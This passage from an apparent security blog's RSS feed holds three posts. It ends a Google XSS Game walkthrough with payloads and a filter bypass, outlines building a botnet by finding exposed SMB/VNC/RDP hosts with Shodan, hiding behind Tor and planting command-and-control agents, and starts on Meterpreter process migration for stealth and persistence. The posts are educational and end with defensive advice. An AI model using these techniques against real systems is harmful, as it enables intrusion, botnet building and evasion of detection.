    &lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/static/loading.gif&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onload=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;startTimer(1000'),alert('hi');&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/13.png&quot; alt=&quot;XSS-4-3&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;xss-challenge-5---breaking-protocol&quot;&gt;&lt;a name=&quot;Challenge5&quot;&gt;&lt;/a&gt;XSS Challenge 5 - Breaking protocol&lt;/h4&gt;

&lt;p&gt;This XSS is a bit different, in the &lt;strong&gt;Mission Description&lt;/strong&gt; the following is described:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Cross-site scripting isn’t just about correctly escaping data. Sometimes, attackers can do bad things even without injecting new elements into the DOM.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. &lt;a href=&quot;https://www.owasp.org/index.php/DOM_Based_XSS&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The application have three different pages:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; Home page with the option &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Sign up&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Page with email input.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; Confirmation page that to Home.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the page number 2, the param &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;next&lt;/code&gt; in the URL could be a potential attack vector &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xss-game.appspot.com/level5/frame/signup?next=confirm&lt;/code&gt;, let’s try to inject some website in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;next&lt;/code&gt; parameter.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/14.png&quot; alt=&quot;XSS-5-1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If a user enters it’s email and click in next, the redirection is performed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/15.png&quot; alt=&quot;XSS-5-2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This attack is called &lt;a href=&quot;https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet&quot;&gt;Open redirect&lt;/a&gt; and could allow an attacker to send a malicious payload as the following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xss-game.appspot.com/level5/frame/signup?next=https://evilsite.com&lt;/code&gt;. Attacker could place a phishing website to trick the victim to reenter credentials and steal it, for example.&lt;/p&gt;

&lt;p&gt;An interesting feature is the &lt;strong&gt;Javacript protocol&lt;/strong&gt;, which lets you execute statements rather than loading a new document.
For example, if you create a link  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;a href=&quot;javascript:alert('Hello World')&quot;&amp;gt;Click Here&amp;lt;/a&amp;gt;&lt;/code&gt; a JavaScript alert will be executed.&lt;/p&gt;

&lt;p&gt;Taking advantage of this. if we send a victim the following URL:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('hi')&lt;/code&gt;, after the victim introduces the email and clicks &lt;em&gt;Next&lt;/em&gt;, the XSS will be triggered.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/16.png&quot; alt=&quot;XSS-5-3&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;xss-challenge-6---follow-the-&quot;&gt;&lt;a name=&quot;Challenge6&quot;&gt;&lt;/a&gt;XSS Challenge 6 - Follow the 🐇&lt;/h4&gt;

&lt;p&gt;In this application, some external JavaScript is retrieved. 
If we analyze the url &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xss-game.appspot.com/level6/frame#/static/gadget.js&lt;/code&gt; the script &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/static/gadget.js&lt;/code&gt; is loaded. We have to try to inject some external JavaScript with the desired alert content.
To access to an external JavaScript, I have submitted it on &lt;a href=&quot;https://www.pastebin.com&quot;&gt;Pastebin&lt;/a&gt; with the following content:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/17.png&quot; alt=&quot;XSS-6-1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If we point the application to our pastebin: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xss-game.appspot.com/level6/frame#https://pastebin.com/raw/ng3qjzgz&lt;/code&gt;, the following message is shown:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/18.png&quot; alt=&quot;XSS-6-2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Analyzing the source code, a filter is detected:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;      &lt;span class=&quot;c1&quot;&gt;// This will totally prevent us from loading evil URLs!&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/^https&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\/\/&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;setInnerText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
          &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Sorry, cannot load a URL containing &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If the URL matches &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://&lt;/code&gt;, the gadged will not be load. What happens if we change the url to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Https&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hTtps&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/19.png&quot; alt=&quot;XSS-6-3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Another interesting feature to use in this challenge is the use of &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs&quot;&gt;&lt;strong&gt;Data URLs&lt;/strong&gt;&lt;/a&gt;. For example:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://xss-game.appspot.com/level6/frame#data:text/html;base64,YWxlcnQoJ2hpJyk=&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181216/20.png&quot; alt=&quot;XSS-Finish&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We have solved the Google XSS Challenge and understood how XSS works at a basic level. As you can see, the execution of an XSS occurs when there is not a correct validation of the data and an understanding of the threat. From the point of view of an attacker, there are many techniques to achieve the exploitation of the threat.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References:&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://xss-game.appspot.com/&quot;&gt;Google XSS Challenge&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.google.com/about/appsecurity/learning/xss/&quot;&gt;Google Application Security - XSS&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&quot;&gt;OWASP - Cross-site Scripting (XSS)&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&quot;&gt;OWASP - XSS Filter Evasion Cheat Sheet&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.owasp.org/index.php/DOM_Based_XSS&quot;&gt;OWASP - DOM Based XSS&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

</description>
          <pubDate>2018-12-16T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/XSS-Google-Game</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/XSS-Google-Game</guid>
        </item>
      
    
      
        <item>
          <title>Building a botnet with Shodan</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Building a botnet with Shodan&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181202/1.png&quot; alt=&quot;Header&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;message&quot;&gt;
  This article is for educational and prevention purposes. 
&lt;/div&gt;

&lt;h2 id=&quot;what-is-a-botnet&quot;&gt;What is a Botnet?&lt;/h2&gt;

&lt;p&gt;According to &lt;a href=&quot;https://www.akamai.com&quot;&gt;Akami&lt;/a&gt;, a botnet is composed of a number of Internet-connected devices, like computers or IoT devices, each of which is running one or more bots. Botnet owners control them using command and control (C&amp;amp;C) software to perform a variety of (typically malicious) activities that require large-scale automation. These include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Distributed denial-of-service (DDoS) attacks that cause unplanned application downtime&lt;/li&gt;
  &lt;li&gt;Validating lists of leaked credentials (credential-stuffing attacks) leading to account takeovers&lt;/li&gt;
  &lt;li&gt;Web application attacks to steal data&lt;/li&gt;
  &lt;li&gt;Providing an attacker access to a device and its connection to a network&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-is-shodan&quot;&gt;What is Shodan?&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181202/shodan.png&quot; alt=&quot;Shodan Logo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.shodan.io&quot;&gt;Shodan&lt;/a&gt; is a search engine that lets the user find specific types of computers (webcams, routers, servers, etc.) connected to the internet using a variety of filters. Some have also described it as a search engine of service banners, which are metadata that the server sends back to the client. This can be information about the server software, what options the service supports, a welcome message or anything else that the client can find out before interacting with the server.&lt;/p&gt;

&lt;p&gt;Therefore, &lt;strong&gt;Shodan allows in an easy way the discovery of potentially vulnerable servers, devices, routers, etc.&lt;/strong&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;how-to-create-a-botnet&quot;&gt;How to create a botnet?&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; Identifying vulnerable servers&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Anonymizing the connection&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; Infecting the systems and controlling the bots&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181202/summary.png&quot; alt=&quot;summary&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;1-identifying-vulnerable-servers&quot;&gt;1. Identifying vulnerable servers&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;dork&lt;/strong&gt; is a query that with the correct searchwords, could identify a vulnerable server. For example, searching &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shodan dork&lt;/code&gt; in &lt;a href=&quot;https://twitter.com/search?q=shodan%20dork&amp;amp;src=typd&quot;&gt;Twitter&lt;/a&gt; could help to identify potential entry points.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;authentication disabled port:445&lt;/strong&gt; : SMB Servers listing some folders. It could allow to read arbitrary data.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Enable and Telnet passwords are configured&lt;/strong&gt; : Strange banners that give information on headers. Maybe they are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;honeypots&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;“authentication disabled” port:5900,5901&lt;/strong&gt; : VNC server without authentication. It includes screenshots of the server.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;port:”3389”&lt;/strong&gt;: RDP servers. It includes screenshots of the server.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;2-anonymizing-the-connection&quot;&gt;2. Anonymizing the connection&lt;/h3&gt;

&lt;p&gt;It is very important not to use the current public IP leased by the ISP to prevent any possible identificacion. A good way to try to navigate anonymously is by using &lt;a href=&quot;https://www.torproject.org/&quot;&gt;&lt;strong&gt;TOR&lt;/strong&gt;&lt;/a&gt;. 
It is not enough to download TOR browser, because all reamining connections could leak our public IP. I propose two ways to retrieve anonymity:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.1 TOR + Torsocks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181202/tor.png&quot; alt=&quot;Shodan Logo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Install a &lt;strong&gt;TOR proxy server&lt;/strong&gt; locally to route all traffic through TOR. &lt;a href=&quot;https://www.torproject.org/docs/installguide.html.en&quot;&gt;More info (left pane)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Install &lt;strong&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/torsocks&quot;&gt;Torsocks&lt;/a&gt;&lt;/strong&gt;. Torsocks is a library to allow transparent SOCKS proxying. It wraps the normal connect() function. When a connection is attempted, it consults the configuration file and determines if the IP address specified is local. If it is not, the library redirects the connection to a SOCKS server specified in the configuration file. It then negotiates that connection with the SOCKS server and passes the connection back to the calling program. It also ensures DNS queries are handled correctly and explicitly blocks all UDP traffic from the application in question.&lt;/p&gt;

&lt;p&gt;After installing both, we could check the following.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Tor proxy Server is running&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tor
Dec 02 13:14:22.147 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;notice] Tor 0.3.1.9 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;git-727d3f1b5e6eeda7&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; running on Darwin with Libevent 2.1.8-stable, OpenSSL 1.0.2p, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.
Dec 02 13:14:22.147 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;notice] Tor can&lt;span class=&quot;s1&quot;&gt;'t help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning
Dec 02 13:14:22.148 [notice] Read configuration file &quot;/usr/local/etc/tor/torrc&quot;.
Dec 02 13:14:22.151 [notice] Opening Socks listener on 127.0.0.1:9050
Dec 02 13:14:22.151 [notice] Opening Control listener on 127.0.0.1:9051
Dec 02 13:14:22.000 [notice] Parsing GEOIP IPv4 file /usr/local/Cellar/tor/0.3.1.9/share/tor/geoip.
Dec 02 13:14:22.000 [notice] Parsing GEOIP IPv6 file /usr/local/Cellar/tor/0.3.1.9/share/tor/geoip6.
Dec 02 13:14:22.000 [notice] Bootstrapped 0%: Starting
Dec 02 13:14:22.000 [notice] Starting with guard context &quot;default&quot;
Dec 02 13:14:22.000 [notice] Bootstrapped 80%: Connecting to the Tor network
Dec 02 13:14:23.000 [notice] Bootstrapped 85%: Finishing handshake with first hop
Dec 02 13:14:23.000 [notice] Bootstrapped 90%: Establishing a Tor circuit
Dec 02 13:14:24.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.
Dec 02 13:14:24.000 [notice] Bootstrapped 100%: Done
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Command shells programms are navigating anonymously&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Command shells programms sould be run with the following syntax:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;torsocks &amp;lt;program&amp;gt;&lt;/code&gt; to force using torsocks.
Some folders are protected from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt;, the best solution is to copy the binary locally and to execute like the following video:&lt;/p&gt;

&lt;script id=&quot;asciicast-BoTgJS0spCpgOaUrDkFND9k4y&quot; src=&quot;https://asciinema.org/a/BoTgJS0spCpgOaUrDkFND9k4y.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181202/2.png&quot; alt=&quot;Header&quot; /&gt;&lt;/p&gt;

&lt;p&gt;DNS leaks could be checked in &lt;a href=&quot;https://www.dnsleaktest.com/&quot;&gt;https://www.dnsleaktest.com/&lt;/a&gt; to ensure that anonymity works correctly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.2 Whonix&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181202/whonix.png&quot; alt=&quot;Shodan Logo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/&quot;&gt;Whonix&lt;/a&gt; is a desktop operating system designed for advanced security and privacy. Whonix mitigates the threat of common attack vectors while maintaining usability. Online anonymity is realized via fail-safe, automatic, and desktop-wide use of the Tor network. A heavily reconfigured Debian base is run inside multiple virtual machines, providing a substantial layer of protection from malware and IP address leaks. Commonly used applications are pre-installed and safely pre-configured for immediate use. The user is not jeopardized by installing additional applications or personalizing the desktop. Whonix is under active development and is the only operating system designed to be run inside a VM and paired with Tor.&lt;/p&gt;

&lt;h3 id=&quot;3-infecting-systems-and-controlling-the-bots&quot;&gt;3. Infecting systems and controlling the bots&lt;/h3&gt;

&lt;p&gt;Once a secure connection has been established, the final part is to identify potentional victims. Victims are required to have a Remote Code Execution vulnerability.
For example.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;OpenDreamBox 2.0.0 - Plugin WebAdmin RCE&lt;/strong&gt; &lt;a href=&quot;https://www.exploit-db.com/exploits/42293&quot;&gt;More info&lt;/a&gt;
&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181202/3.png&quot; alt=&quot;Dreambox&quot; /&gt;
&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181202/4.png&quot; alt=&quot;Statistics&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Jenkins manage plugins Groovy RCE&lt;/strong&gt; &lt;a href=&quot;https://youtu.be/EKGBskG8APc?t=521&quot;&gt;More info&lt;/a&gt;
&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181202/5.png&quot; alt=&quot;Jenkins&quot; /&gt;
&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181202/6.png&quot; alt=&quot;Statistics&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The final step is to infect with an &lt;strong&gt;agent&lt;/strong&gt; of a &lt;strong&gt;Command &amp;amp; Control&lt;/strong&gt;, for example &lt;a href=&quot;https://github.com/Ne0nd0g/merlin&quot;&gt;Merlin&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;All the process could be automated using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Shodan's API&lt;/code&gt; and the desired exploit in each scenario.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h2&gt;

&lt;p&gt;It is very important to identify what services we have exposed to the internet. We should check the configuration of our Router and Firewall, and search our public IP in webpages like &lt;a href=&quot;https://www.shodan.io/&quot;&gt;Shodan&lt;/a&gt; or &lt;a href=&quot;https://censys.io/&quot;&gt;Censys&lt;/a&gt;. 
If we need to have a service opened, establish a strong authentication and update to the last version, trying to patch all detected vulnerabilities. It is a better practice to establish a VPN to reach these services in a safer way.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.shodan.io/&quot;&gt;Shodan&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/search?q=shodan%20dork&amp;amp;src=typd&quot;&gt;Twitter Dorks&lt;/a&gt;&lt;/p&gt;
</description>
          <pubDate>2018-12-02T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/building_a_botnet_with_shodan</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/building_a_botnet_with_shodan</guid>
        </item>
      
    
      
        <item>
          <title>Process migration in Meterpreter</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Process migration in Meterpreter&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20181126/1.png&quot; alt=&quot;Header&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-is-process-migration-in-meterpreter&quot;&gt;What is process migration in Meterpreter?&lt;/h2&gt;

&lt;p&gt;After a successful exploitation, such as, tricking a victim to execute a &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/#How_Meterpreter_Works&quot;&gt;Meterpreter&lt;/a&gt; executable, gaining RCE an executing a generated Meterpreter payload with &lt;a href=&quot;https://github.com/trustedsec/unicorn&quot;&gt;Unicorn&lt;/a&gt;, propagating shells with &lt;a href=&quot;https://jlajara.gitlab.io/others/2018/11/11/controlling-DC-part2-multirelay.html&quot;&gt;multirelay&lt;/a&gt;… Sometimes, Meterpreter process has to be migrated to:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Hiding the process to gain persistence and avoid detection.&lt;/li&gt;
  &lt;li&gt;Change the process architecture to execute some payloads with the corrent architecture. For example, if there is a 64-bits system and our meterpreter process is 86-bits, some architecture-related problems could happen if we try to execute some exploits against the session gained.&lt;/li&gt;
  &lt;li&gt;Migrate to a more stable process.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;how-it-works&quot;&gt;How it works?&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; A metasploit handler is configured to retrieve a meterpreter sessions.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Processes are listed to select the desired one to migrate (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ps&lt;/code&gt; command).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; Migrate to the desired process (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;migrate &amp;lt;PID&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the following example, the meterpreter session is retrieved in an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.exe&lt;/code&gt; file that creates the process &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;goodFile.exe&lt;/code&gt;. This process is quite noisy, if the user closes this process, the session will be closed. Therefore, migrating to a more stable process like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt; would give us the ability to hide the meterpreter session and gain persistance.&lt;/p&gt;

&lt;p&gt;Attacker’s view:
&lt;script id=&quot;asciicast-QRoVpFsyrPs9QVopVKVpECEFi&quot; src=&quot;https://asciinema.org/a/QRoVpFsyrPs9QVopVKVpECEFi.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Victim’s view:&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/VZFHZntEinc&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;img src=&quot;https://media.giphy.com/media/26gs861AqzP6w1DAQ/giphy.gif&quot; alt=&quot;Trick&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;debugging-msfconsole&quot;&gt;Debugging MSFConsole&lt;/h2&gt;

&lt;p&gt;MSFConsole could be easily debugged with &lt;a href=&quot;https://github.com/deivid-rodriguez/pry-byebug&quot;&gt;Pry-Byebug&lt;/a&gt;. The installation is easy and described in the previous link. Now, we have to edit msfconsole binary to show the use of pry-byebug.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; vim msfconsole
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Insert &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require 'pry-byebug'&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env ruby&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# -*- coding: binary -*-&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# This user interface provides users with a command console interface to the&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# framework.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Standard Library&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'pathname'&lt;/span&gt;
